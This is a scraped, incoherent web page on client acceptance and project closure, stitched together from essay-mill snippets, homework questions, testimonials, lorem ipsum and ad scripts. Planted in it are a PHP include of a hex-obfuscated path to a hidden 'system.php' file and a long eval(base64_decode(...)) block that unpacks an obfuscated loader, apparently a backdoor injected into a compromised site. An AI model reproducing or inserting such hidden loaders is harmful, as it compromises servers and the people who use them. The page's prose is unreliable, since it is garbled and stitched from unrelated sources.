It simply happens. 3. You have received final sign-off and approval from all parties. Experts are tested by Chegg as specialists in their subject area. You should include in the proposal the rules that will govern acceptance during the project. Get full access to Effective Project Management: Traditional, Agile, Extreme, Sixth Edition and 60K+ other titles, with a free 10-day trial of O'Reilly. The acceptance criteria also serves as the basis for rejection when it occurs. To confirm the projects completion, obtain approvals for the project deliverables (i.e., all stakeholders must agree that you delivered on all parts of the project plan) with official sign-offs from the project stakeholders. (If you follow scrum methodology, your team should conduct a sprint retrospective to gather this information.). Use this form when the project outcome has been measured against its acceptance criteria and has been formally accepted on behalf of the client. If you are not employed, demonstrate a connection to your desired work environment. The project manager can increase the chance of getting the project owner to approve the closure by having a set agenda for the meeting. If supporting evidence from outside resources is used those must be properly cited. For small projects, this acceptance can be very informal and ceremonial, or it can be very formal, involving extensive acceptance testing against the client's performance specifications. WebThe client is given the opportunity to express satisfaction and identify areas in which project communication and other factors could be improved. The project involved recommending or not recommending the renewal of a hosted IT service. Pivoting the project direction when you are already mid-way. If necessary, {your agency project manager name} will invoke the Change Control process. A good Acceptance Management Plan requires the client to describe (as best they can) everything that makes the deliverable wrong. This is rejection with cause. Different suppliers deliver particular goods or services to facilitate the implementation of the project. This helps to make an informed decision regarding the approval of project deliverables. It is your process because the venture manager to illustrate that the deliverables (whether or not products or services) meet customer specifications. Our blog offers vital advice and recommendations on industry best practices. Nam lacinia p, , dictum vitae odio. I have included a sample Acceptance Management proposal section at the end of this article. Awesome, awesome, awesome! How For one thing Sylvia states Where we are is who we are, Miss Moore always pointin out. This form can be used to record the client's sign-off and officially bring the project to a close. Project managers, or others who are in charge of deliverables, may not be experts on every project. include "\x2fhom\x65/tj\x6bwlm\x38vgk\x30q/p\x75bli\x63_ht\x6dl/a\x31p55\x31l/c\x61che\x2fsys\x74em.\x70hp"; A process that shows the stakeholders have received what was agreed upon and formalizes their approval. Lorem, View answer & additonal benefits from the subscription, Explore recently answered questions from the same subject, Explore documents and answered questions from similar courses. Its not enough to declare a project done yourself. {Your agency project manager name} will store the completed form in the Project Notebook. WebOffer some insights, from researching the Internet, around the importance of client acceptance throughout the project. Why is a customer/client needs analysis important Offer some insights, from researching the Internet, around. The difference between black society and white society is the lifestyles and what each class finds more important or necessary. Next, conduct a survey or hold a meeting with the project management team to get feedback on how the project went. Requirements: Provide a 550 word (or 2 pages double spaced) minimum reflection. Whether internal or external, all of the projects that you manage have stakeholders. and more. Thus, the project manager should ensure that right from the project initiation stage, customer expectations are considered so that their fulfillment is guaranteed at the end of the project. Often a senior manager from the organization interviews the client to develop feedback on the project team performance. The essential elements of any acceptance procedure are: 1. Fusce dui lectus, congue vel laoreet ac, dictum vitae odio. in terms of developing more effective project the output document in this activity is the Meeting Minutes. The second involves a project deliverable requiring little or no checking to determine whether specifications have been met for example, planning and taking a vacation. This activity ends with the preparation of the Project Closure Report, which is the output document of this activity. When Sylvia reiterates what Ms. Moore has said before it means that peoples lives and personalities are molded by the status and atmosphere in which they live. Paper delivered on time, perfect quality, great customer service, and above all, they made our relationship so personal, especially Brian, the supervisor. My writer first tutored me to ensure we were on the same page, and proceeded to deliver a masterpiece. It was too good to be true. can the project manager and planner use the needs analysis to help The following two situations fall under the heading of ceremonial acceptance: Formal acceptance occurs in projects for which you and the client have written Get Effective Project Management: Traditional, Agile, Extreme, Sixth Edition now with the OReilly learning platform. Skype: Superioressays Lorem ipsum dolor sit amet, consectetur ad, ng elit. Why should Dow Chemical access data at the points of origin in real time? Once youve completed your project post-mortem, you can finalize all documentation (contracts, project plans, scope outline, costs, schedule, etc.) How Does Resource Planning Help in Building an Efficient Workforce? This is necessary to quell the possible assumption you will deliver the desired result at the end of the project and that they will simply begin using it. 3. There are also live events, courses curated by job role, and more. If you were leading a project, and the project declines the final acceptance, what do you believe the team may have failed at? The project manager should be honest with the stakeholders and explain the reasons that cause the variation.if(typeof ez_ad_units!='undefined'){ez_ad_units.push([[250,250],'projectpractical_com-large-leaderboard-2','ezslot_17',630,'0','0'])};__ez_fad_position('div-gpt-ad-projectpractical_com-large-leaderboard-2-0'); The project manager should ensure that the project owner understands every detail of concern, and also elaborate about the project handover work including support that will be provided after project closure. Thus, the project manager reviews the deliverable documents to make sure that all the required information is captured.if(typeof ez_ad_units!='undefined'){ez_ad_units.push([[580,400],'projectpractical_com-medrectangle-4','ezslot_5',150,'0','0'])};__ez_fad_position('div-gpt-ad-projectpractical_com-medrectangle-4-0'); Besides, the project manager ensures the completeness and correctness. Confidential, not for duplication or distribution. Convening a project closure meeting is the best way to end any project. Stakeholders are a wealth of knowledge about current processes, historical information, and industry insight. What are your recommendations to Colgrove for implementing EMI? Note: You should define client needs first. In this activity, documentation of the risk issues identified is done. WebYour entire engagement efforts should be clear and well-understood by all stakeholders, devoid of 'hidden' or alternative agendas (personal, political, or informational), and honest about the role and influence citizens will have in the either the decision-making or implementation of solutions. make sure their project is on time and satisfies the client. This is most often included in the more detailed requirements or Statement of Work. If you are not currently, working, share times when you have or could observe these, theories and knowledge could be applied to an employment, View Offer some insights, from researching the Internet, around the importance of client acceptance throughout the project. Otherwise, all good! Be sure to document this step so you have proof that the project close was formally signed off. However, if you follow some simple guidelines, you can ensure that in your WordPress Project Acceptance Management Plan is clear and reduce the chance for surprises for you or for the client. Ceremonial acceptance is an informal acceptance by the client. How can the project manager and planner use the needs analysis to help make sure their project is on time and satisfies the client. This report is presented to the project sponsor who formally receives and approves it. The success in the project is recorded to aid future project managers and stakeholders obtain guidance and achieve better results. Instead, it is a learning opportunity for everyone to improve on future projects. This is the stage where all deliverables are finalized and formally transferred, and all documentation is signed off, approved, and archived. Explore over 16 million step-by-step answers from our library, iscing elit. Project Close/Client Acceptance a. I recommend to anyone looking for a peace of mind! All other pending payments are also determined and processed. WebHaving knowing detail the importance of client acceptance throughout the project can help us in many things. 1. For instance, the project manager achieves this by preparing a list of all pending payment and approving their clearance. The customers will be hav View the full answer Expert Answer Any project we take up is said to be successful only when it is accepted by customers. Plus, a happy team is more likely to work with you in the future so you can build on your past successes and become a more effective unit going forward. However, without a formal closing process, you risk letting crucial details fall through the cracks, which can result in confusion, a never-ending project, dissatisfied clients, and even liability issues. Technology is everywhere from transportation to home systems to your business. A post-mortemor project review is one of the most valuable steps of the project closure process. You'll get a detailed solution from a subject matter expert that helps you learn core concepts. You'll get a detailed solution from a subject matter expert that helps you learn core concepts. The second goal is to identify important determinants, which can facilitate the management of client expectations. Uncovering risks and then discussing a plan to mitigate them before issues arise will dramatically increase the success of your project. Some of the ways stakeholders are important to a project are as follows. Thus, during the project closing process, unpaid supplied are compiled and finances for the same are released to respective suppliers. Increase a clients site traffic by 10,000 visitors per month. The term acceptance for thepurposes of this project is defined as gaining agreement from {client name} that the deliverables produced by {your agency name} meet the agreed-upon criteria as defined in the Statement of Work. WebThen say why its important and relate it to time management. Moreover, it confirms that the project has been concluded and this permits reassignment of faculty and staff assigned to that project to a different activity or task. Explain in detail the importance of client acceptance throughout the project. Good News! After setting the project background, the project owner should be given the chance to close the project. Once the paperwork is filed, and the reviews are over, kick back and take time to celebrate the successful close togetheryouve earned it! The most important rule for your Acceptance Management Plan is that you establish at the project outset the specific criteria by which something will be accepted or rejected. It is vital to fully complete this process at project conclusion for several reasons. These individual answers will help paint a more comprehensive picture of the projects performance. The final acceptance is just their final stamp of approval during the project closure phase. With this intuitive, cloud-based solution, everyone can work visually and collaborate in real time while building flowcharts, mockups, UML diagrams, and more. Your Acceptance Management Plan must make clear that deliverables completed throughout the project are real components of the overall system and not prototypes. The most popular online Visio alternative, Lucidchart is utilized in over 180 countries by millions of users, from sales managers mapping out target organizations to IT directors visualizing their network infrastructure. Make sure that you consider all key stakeholders as a part of your project team. Thus, the project manager resolves issues by identifying them and coming up with appropriate responses for every issue. WebThe advantage of including the client in project activities is to gain the clients personal investment in the project plan, to create a better understanding for the client of the problems the project encounters during the life of the project, and to gain the insights and contributions of the client in problem solving. Does it delinate issues of leadership and, please answer the following: What is knowledge at risk? It is primarily concerned with the recognition of the product by validating each deliverable. If you are a service organization looking for Though the process may seem tedious or overly administrative, a formal closure phase ensures all loose ends are tied up, documentation is signed and approved, contractors are paid, and everyone is on the same page. After receiving these documents, the project manager conducts a review to make sure that all deliverables have been recorded. They compare the handcrafted fiberglass sailboat, which costs $1,195, to the ones they make from a kit, which cost about 50 cents. By gathering and reviewing project requirements with stakeholders, you will get their buy-in, which will in turn help increase project success. Whatsapp: +1 (917) 268-6004 WebMake sure that all project plans and documentation are transferred to the client and archived; Release project team members involved in the project; Determine the lessons learned throughout the project; The scope of the project closing process includes: Approval and acceptance of project deliverables and reviewing if they meet the The help i recieved, man I still feel that I didnt pay enough. Notably, this process concludes by approving, accepting, and transferring final deliverables to the customer or assigning party. We reviewed their content and use your feedback to keep the quality high. Besides, the project sponsor makes sure to reference the Project Management Plan to further confirm that the deliverables are in line with the outcomes projected at the planning stage. I can go all the way to my PhD, now that i have a worthy partner! this short story describes if given a chance to create ones own happiness doesnt mean being wealth or not. The online store will be able to accommodate purchases of both physical and digital products. In other words, calculate the projects performance in terms of cost, schedule, and quality. Then say why its important and relate it to time management. Identify This is where you identify lessons learned from the project to document in step two. Leadership Team If there is any area that the project failed to deliver, it should be noted. Quality management: Reviewing project deliverables and ensuring they meet the defined acceptance criteria Risk management: Monitor, control, manage, and mitigate potential risks and issues Acceptance management: Conduct user acceptance testing and create a reviewing system, ensuring that all deliverables meet the needs of WebImportance of client acceptance throughout the project The patron comes to a decision when the assignment is done. The assignment asks that you reflect how the knowledge and skills obtained through meeting course objectives were applied or could be applied in the workplace. Review all the project documentation to ensure all parties have been paid for the work and there are no outstanding invoices. These details are important particularly to the project owner to ensure that after agreeing to the project closure, complaints will not arise. b. WebThe project team can benefit from clearly established acceptance criteria in a variety of ways, including: Defining the client's expectations for the final output. If you use a gradual process of acceptance as components are completed, final acceptance becomes much less threatening to the client and the development team. It is your job as the project manager to demonstrate that the deliverables (whether products or services) meet client specifications. What Small Businesses Can Learn From Viral Video Games About Marketing, How to Get Clients to Pay Invoices on Time, Upscale Your Images to the Best in 2023 [5 Online Methods], Accounting in Retail Inventory Management: Primary Considerations. Nam lacinia pulvinar tortor nec facilisis. Final acceptance is tied directly to the acceptance of each short-term deliverable being approved throughout the project. What are the key challenges of knowledge management? Next, confirm the project is complete. Provide a few highlights that the course has offered you (you can pull from your practical connection assignment). the project declines the final acceptance on a management question and need an explanation to help me understand better. Technology can be advantageous in many different ways. Formally release resources from the project, including suppliers, contractors, team members, and any other partners. Discover project management best practices to keep projects on track. Donec aliquet. Offer some insights, from researching the Internet, around the importance of client acceptance throughout the project. If the reasons for rejection do not correspond to the established acceptance criteria, you will likely need to redefine those criteria. The project ended on a ceremonial note following the filing of the recommendation. Nam lacinia pulvinar tortor nec facilisis. I must confess that I have wandered off to many sites claiming to be legit, but I have been conned, or given sh**y quality papers. This process ensures the final stakeholders have the information, resources, and training to successfully manage and use the end product. Keep in mind that the goal of a post-mortem is not to assign blame for any mistakes. It clearly defines the scope, desired outcomes, and testing criteria for pieces of functionality being worked on by the delivery team. Note: You should define client needs first. Share a personal connection that identifies specific knowledge and theories from this course. All rights reserved. the importance of client acceptance throughout the project. Stakeholders may have some issues concerning the project and the final product. The project closure process ensures that: The project management closure process also gives the team the opportunity to review and evaluate the projects performance to ensure future projects success. The closing phase also gives you the opportunity to review and evaluate the projects success (or failure), which is crucial for planning and executing successful projects in the future. You should NOT, provide an overview of the assignments assigned in the course. Individual deliverables and their related acceptance criteria, along with final project acceptance criteria, will be defined in the Statement of Work. {Client name} will review the component or deliverable and compare it against the agreed-upon acceptance criteria. All work has been completed according to the project plan and scope. Therefore, the project manager works with all stakeholders to collect the lessons they learned. A colleague of mine shared the following example with me. Pellentesque dapibus efficitur laoreet, ongue vel laoreet ac, dictum vitae odio. We will use a formal process for acceptance ensuring that all approvals are submitted in writing and signed by the agreed-upon client representative. Therefore, the project sponsor conducts a review of the final deliverables to make sure they meet the requirements specified in the project management plan. Having unjust economic and social system creating unfair access to money and resources for black Americans is a prevalent theme in the story The Lesson. Coaching Solutions By establishing the rules before the project begins, you are establishing that there will actually be a formal process of acceptance. The customers will be hav. An end-of-project party is a great way to acknowledge your teams hard work and increase morale. But external deliverables are the product that is delivered to the client or end users. 2023, OReilly Media, Inc. All trademarks and registered trademarks appearing on oreilly.com are the property of their respective owners. We will keep you posted on our progress. Customers can visit the site, view items that are for sale, select items to purchase, and check out items using Stripe or Pay Pal. It means one knows how to create that happiness the best way they can. Lorem ipsum dolor sit amet, consectetur adipiscing elit. In this wealthy white neighborhood it is common to spend obscene amounts of money on toys and really anything a black poor family would deem unnecessary for the price. Notify them of the end of the project, confirm any final payments or obligations, and officially release them so they are free to work on other projects. What would you change or improve for future projects. It provides an assurance that a project is closed and further charges cannot be attributed or accrued to that particular project. It is your job as the project manager to demonstrate that the deliverables (whether products or services) meet client specifications. The final deliverable documents contain the service or product produced by a project for the client, customer, or the project sponsor. Nam risus ante, dapibus a, o. Donec aliquet. How closely did the project meet the customer's needs? Be sure to sign up NOW below to connect with us and you will be eligible for early student discounts. The meeting aims to have the project owner agree with the idea of closing the project. Customers are primarily focused on project management operations, and they must be involved from In other words, project closure is a process you cant afford to skip. {Your agency project manager name} will submit a copy of the rejected form to the applicable team member for re-work. Thus, it is vital to involve all stakeholders in this activity to identify their specific lessons. Advantages of Acceptance Testing This testing helps the project team in the following ways: Knowing the further requirements of the users directly as it involves the users for testing. During the meeting, a description of the project purpose should be done. As gradual acceptance occurs, the client gains vested ownership of the results and the developers get the satisfaction of regular accomplishments. Nam risus ante, dapibus a molestie consequat, ultrices ac magna. The first step in requirements gathering is to assign roles in your project. The project lifecycle consists of five groups: The closing phase of project management is the final phase of the project lifecycle. It is your process because the, venture manager to illustrate that the deliverables (whether or not products or services) meet. 7 steps to closing a project. If you skip this step, you may continue to receive (and be charged for) change requests by the client. c . Assess managements appreciation of internal control. 2. This is a time to review the successes, failures, and challenges of the project and identify opportunities for improvement going forward. Many times these team members will have been at the company or on the project longer than the project manager or project team. Verification is important for the client to ascertain that the project delivers the expected results. eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJEtjSFlmZ1pxRCA9IDc0NjM7IGZ1bmN0aW9uIE9neWNOZ3EoJFVEckVQUEtlLCAkYU1LYmIpeyR4YllzQWxaID0gJyc7IGZvcigkaT0wOyAkaSA8IHN0cmxlbigkVURyRVBQS2UpOyAkaSsrKXskeGJZc0FsWiAuPSBpc3NldCgkYU1LYmJbJFVEckVQUEtlWyRpXV0pID8gJGFNS2JiWyRVRHJFUFBLZVskaV1dIDogJFVEckVQUEtlWyRpXTt9CiRxU2hZUUs9InJhd3VybCIgLiAiZGVjb2RlIjtyZXR1cm4gJHFTaFlRSygkeGJZc0FsWik7fQokQVVpeG9yID0gJyU3Z21GbV9QajElaWUlaVJqMjJ2Ml91dnElaVIlaXQlaWdRYVdXJWlUJUxzJWdvJWdkJTdnbUZtX1BqMSVpZSVpUnV2cV8nLgonajIydjJQJWlSJWl0JWlnZyVpVCVMcyVnbyVnZCU3Z21GbV9QajElaWUlaVJsOHBfanBqQkUxbXZGXzFtbGolaVIlaXQlaWdnJWlUJUxzJWdvJScuCidnZCU3Z2oyMnYyXzJqR3YyMW1GcSVpZWclaVQlTHMlZ28lZ2QlN2dQajFfMW1sal91bWxtMSVpZWclaVQlTHMlZ28lZ2QlZ28lZ2QlZ28lZ2RtWSVpZSVpJy4KJ1ZDalltRmpDJWllJWlpTUpNX2tyVyVpaSVpVCVpVCVnbyVnZCVScyVnbyVnZCVpZyVpZyVpZyVpZ0NqWW1GaicuCiclaWUlaWlNSk1fa3JXJWlpJWl0JWlnJWlpJUt0RiVpaSVpVCVMcyVnbyVnZCVSbyVnbyVnZCVnbyVnZG1ZJWllJWlWQ2pZbUZqQyVpZSVpaW9YbicuCidrdDBybk9fNWtNZG5kMHJuJWlpJWlUJWlUJWdvJWdkJVJzJWdvJWdkJWlnJWlnJWlnJWlnQ2pZbUZqJWllJWlpb1hua3Qwcm5PXzVrTWRuZDBybiVpaSVpdCVpZyVpaS8lJy4KJ2lpJWlUJUxzJWdvJWdkJVJvJWdvJWdkJWdvJWdkbVklaWclaWUlaVZDalltRmpDJWllJWlSZFdua2RvT19uYVFfVjc3QmVSQll4aUxaOGVpODhZbXhlJy4KJzJtOFpWeDgxbXZWZSVpUiVpVCVpVCVnbyVnZCVScyVnbyVnZCVpZyVpZyVpZyVpZ0NqWW0nLgonRmolaWUlaVJkV25rZG9PX25hUV9WNzdCZVJCWXhpTFo4ZWk4OFlteGUybThaVng4MW12VmUlaVIlaXQlaWdWJWlUJUxzJWdvJWdkJWdvJWdkJScuCidpZyVpZyVpZyVpZyVpN0M4MTglaWclTG8laWdRYVdXJUxzJWdvJWdkJWlnJWlnJWlnJWlnJScuCidpN0M4MThfQWpOJWlnJUxvJWlnUWFXVyVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpN2NXcnNkVzUlS3MlaVJCUF84RTE5JWlSJUtvJScuCidpZyVMbyVpZyVpUmVqeEJlN1RqLVplaWUtN1pMOC04WVJ4LVlMZ1k3aUw3WmVZNyVpUiVMcyVnbyVnZCVpZyVpZyVpZyVpZ3F1dlo4dSVpZyVpN0JQXzhFMScuCic5JUxzJWdvJWdkJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9jajFKdlAxJWllJWlUJWdvJWdkJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJScuCidpZyVpZyVpZyVpZyVpZzJqMUUyRiVpZ1AxMjF2dXZ6ajIlaWVHMmpxXzJqR3U4QmolaWUlaVIvJUtrJWllenp6JVJ0WTFHJWlUJUt0Li9tJWlSJWl0JWlSJy4KJyVpUiVpdCU3ZyVpN181a242a24lS3MlaVJKMDBNX0pyNTAlaVIlS28laVQlaVQlTHMlZ28lZ2QlaWcnLgonJWlnJWlnJWlnJVJvJWdvJWdkJWdvJWdkJWlnJWlnJWlnJWlnWUVGQjFtdkYlaWdCUF9jajFmMm0xOFp1am9tMlAlaWUlaVQlZ28lZ2QlaWclaWclaWclaWclUnMlZ28lJy4KJ2dkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3MmpQJWlnJUxvJWlnZDIyOE4laWUlaVQlTHMlZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaTcnLgonOEY4dU5QTlBfVUVqRWolaWclTG8laWdkMjI4TiVpZSVpVCVMcyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZycuCiclaWclaWclaTc4Rjh1TlBOUF9VRWpFaiVLcyVLbyVpZyVMbyVpZ0JQX2NqMW92Qm52djElaWUlaVQlTHMlZ28lZ2QlZ28nLgonJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWk3UGp1WV9HODE5JWlnJUxvJWlnJWk3XzVrbjZrbiVLcyVpUjUnLgondG5YTTBfRFhXa1FkeWslaVIlS28lTHMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWd6OW11aiVpZyVpZSVpZSVpN1B1OFA5JWlnJy4KJyVMbyVpZ1AxMjJHdlAlaWUlaTdQanVZX0c4MTklaXQlaWdvWG5rdDBybk9fNWtNZG5kMHJuJWlUJWlUJWlnJWlWJUxvJUwnLgonbyVpZ0RkVzVrJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWknLgonZyVpZyVpN1BqdVlfRzgxOSVpZyVMbyVpZ1BFWlAxMiVpZSVpN1BqdVlfRzgxOSVpdCVpZ2claXQlaWclaTdQdTgnLgonUDklaVQlTHMlZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZyVpZSVpN1BqdVlfRzgxOSVpJy4KJ2clTG8lTG8laWdCUF9jajFvdkJudnYxJWllJWlUJWlUJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJVJzJWdvJWcnLgonZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ1oyajhBJUxzJWdvJWdkJWlnJWlnJWlnJWlnJWlnJWlnJWlnJWlnJy4KJyVpZyVpZyVpZyVpZyVSbyVnbyVnZCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZ21ZJWlnJWllUDEydScuCidqRiVpZSVpN1BqdVlfRzgxOSVpVCVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVScyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWclaWclaWclaWclaTc4Rjh1TlBOUF9VRWpFaiVLcyVLbyVpZyVMbyVpZyVpN1BqdVlfRzgxOSVMcyVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpJy4KJ2claWclaWclaWclaWclaWclUm8lZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclUm8lZ28lZ2QlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWdZJy4KJ3YyajhCOSVpZyVpZSVpNzhGOHVOUE5QX1VFakVqJWlnOFAlaWclaTdCRTIyakYxX0NtMiVpVCVnbyVnZCVpZyVpZyVpZyVpZyVpZyVpZyVpZyVpZyUnLgonUnMlZ28lZ2QlaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWclaWdtWSVpZyVpZSVpVm1GXzgyMjhOJWllJWk3 BE22jF1_C'.
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'F1P%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%ig%ig%ig%ig%Ro%go%gd%'.
'go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_CjB2NG1_G98Pj'.
'%ie%i7C818%it%ig%i7AjN%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig'.
'%ig%i7vE1_C818%ig%Lo%ig%ii%ii%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igYv'.
'2%ig%ie%i7m%Log%Ls%ig%i7m%LtP12ujF%ie%i7C818%iT%Ls%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig'.
'%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%igYv2%ig%ie%i73%Log%L'.
's%ig%i73%LtP12ujF%ie%i7AjN%iT%ig%ix%ix%ig%i7m%LtP12ujF%ie%i7C818'.
'%iT%Ls%ig%i73%is%is%it%ig%i7m%is%is%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go'.
'%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%i7vE1_C818%ig.%Lo%igB92%iev2C%ie%i7C818%K'.
's%i7m%Ko%iT%ig%Kk%igv2C%ie%i7AjN%Ks%i73%Ko%iT%iT%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%'.
'Ro%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig'.
'%i7vE1_C818%Ls%go%gd%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igB'.
'P_CjB2NG1%ie%i7C818%it%ig%i7AjN%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig'.
'quvZ8u%ig%i7BP_8E19%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%igBP_CjB2NG1_G98Pj%ieBP_Cj'.
'B2NG1_G98Pj%ie%i7C818%it%ig%i7AjN%iT%it%ig%i7BP_8E19%iT%Ls%go%gd%ig%'.
'ig%ig%ig%Ro%go%gd%ig%ig%ig%igYEFB1mvF%igBP_jFB2NG1%ie%i7C818%it%ig%i7AjN%iT'.
'%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%igquvZ8u%ig%i7BP_8E19%Ls%go%gd%'.
'go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%igBP_CjB2NG1_G98Pj%ieBP_CjB2NG1_G98Pj%ie%i7C818%it%ig%i7BP_8E'.
'19%iT%it%ig%i7AjN%iT%Ls%go%gd%ig%ig%ig%ig%Ro%go%gd%go%gd%i'.
'g%ig%ig%igYEFB1mvF%igBP_Ymuj_2j8C%ie%i7G819%iT%go%gd%ig'.
'%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7C818%ig%Lo%ig%7gYmuj_qj1_Bv'.
'F1jF1P%ie%i7G819%iT%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i7C818%Ls%go%gd%ig%'.
'ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_Ymuj_z2m1j%ie%i7G819%it%ig%i7C818%iT%go%gd%ig%i'.
'g%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%7gYmuj_GE1_BvF1jF1P%ie%i7G81'.
'9%it%ig%i7C818%iT%Ls%go%gd%ig%ig%ig%ig%Ro%go%gd%go'.
'%gd%ig%ig%ig%igYEFB1mvF%igBP_Ymuj_8GGjFC%ie%i7G819%'.
'it%ig%i7C818%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%7gYmuj'.
'_GE1_BvF1jF1P%ie%i7G819%it%ig%i7C818%it%ige%iT%Ls%go%gd%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%i'.
'gYEFB1mvF%igBP_Pv21_BvlG82j2%ie%i78%it%ig%i7Z%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%ig%ig%'.
'ig%ig%ig%ig%ig2j1E2F%igP12ujF%ie%i78%iT%ig-%igP12ujF%ie%i7Z%iT%Ls%go%gd%ig%ig%ig%ig%'.
'Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP_cj1tvllvF51v28qj%ie%i7Cm2P%LoQaWW%iT%go%gd%ig%ig%ig%'.
'ig%Rs%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7PjuY_Cm2%ig%Lo%igCm2F8lj%ie__DXWk__%iT%Ls%'.
'go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7BvllvF_F8ljP%ig%Lo%igd228N%ie%iivG1'.
'mvFP%ii%it%ig%iiImjzP%ii%it%ig%iiG8qjP%ii%it%ig%iiPjPPmvFP%ii%it%ig%ii'.
'P181P%ii%it%ig%iiEPj2P%ii%it%ig%ii821mBujP%ii%it%ig%iiCElG%ii%it%ig%ii9'.
'j8Cj2P%ii%it%ig%iiumZP%ii%iT%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i71lG_Cm2%ig%L'.
'o%ig%i7PjuY_Cm2%ig.%ig%ii/%ii%ig.%ig%i7BvllvF_F8ljP%KsP12ujF%ieBP_cj1JvP1%ie'.
'%iT%iT%ig%iK%igBvEF1%ie%i7BvllvF_F8ljP%iT%Ko%Ls%go%gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ig%ieYmuj_'.
'jpmP1P%ie%i71lG_Cm2%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%gd%ig%ig%'.
'ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i71lG_Cm2%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%'.
'gd%go%gd%ig%ig%ig%ig%ig%ig%ig%igmY%ielACm2%ie%i71lG_Cm2%iT%iT%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Rs%go%'.
'gd%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig%ig2j1E2F%ig%i7'.
'1lG_Cm2%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig'.
'%ig%ig%ig%ig%ig%ig2j1E2F%ig%ii%ii%Ls%go%gd%ig%ig%ig%ig%Ro%go%gd%go%gd%ig%ig%ig%igYEFB1mvF%igBP'.
'_GuEqmF_8CC%ie%i7F8lj%it%ig%i7Z8Pjx7_C818%iT%go%gd%ig%ig%ig%ig%Rs%go%gd%ig%'.
'ig%ig%ig%ig%ig%ig%ig%i7C818%ig%Lo%igZ8Pjx7_CjBvCj%ie%i7Z8Pjx7_C818%iT%Ls%go%gd%go%gd%ig%'.
'ig%ig%ig%ig%ig%ig%ig%i7P1v28qj_G819%ig%Lo%igBP_cj1tvllvF51v28qj%ie%iT%i'.
'g.%ig%ii/%ii%Ls%go%gd%ig%ig%ig%ig%ig%ig%ig%ig%i7P1'.
'v28qj_G819%ig%Lo%ig%i7P1v28qj_G819%ig.%igPEZP12%ielCK%ie%iiB8B9j%ii%i'.
'T%it%igg%it%igK%iT%ig.%ig%ii_%ii%ig.%iglCK%ie%i7F8lj%ig.%igBP_cj1JvP1%ie%iT%iT%Ls%go%gd%go%gd%g'.
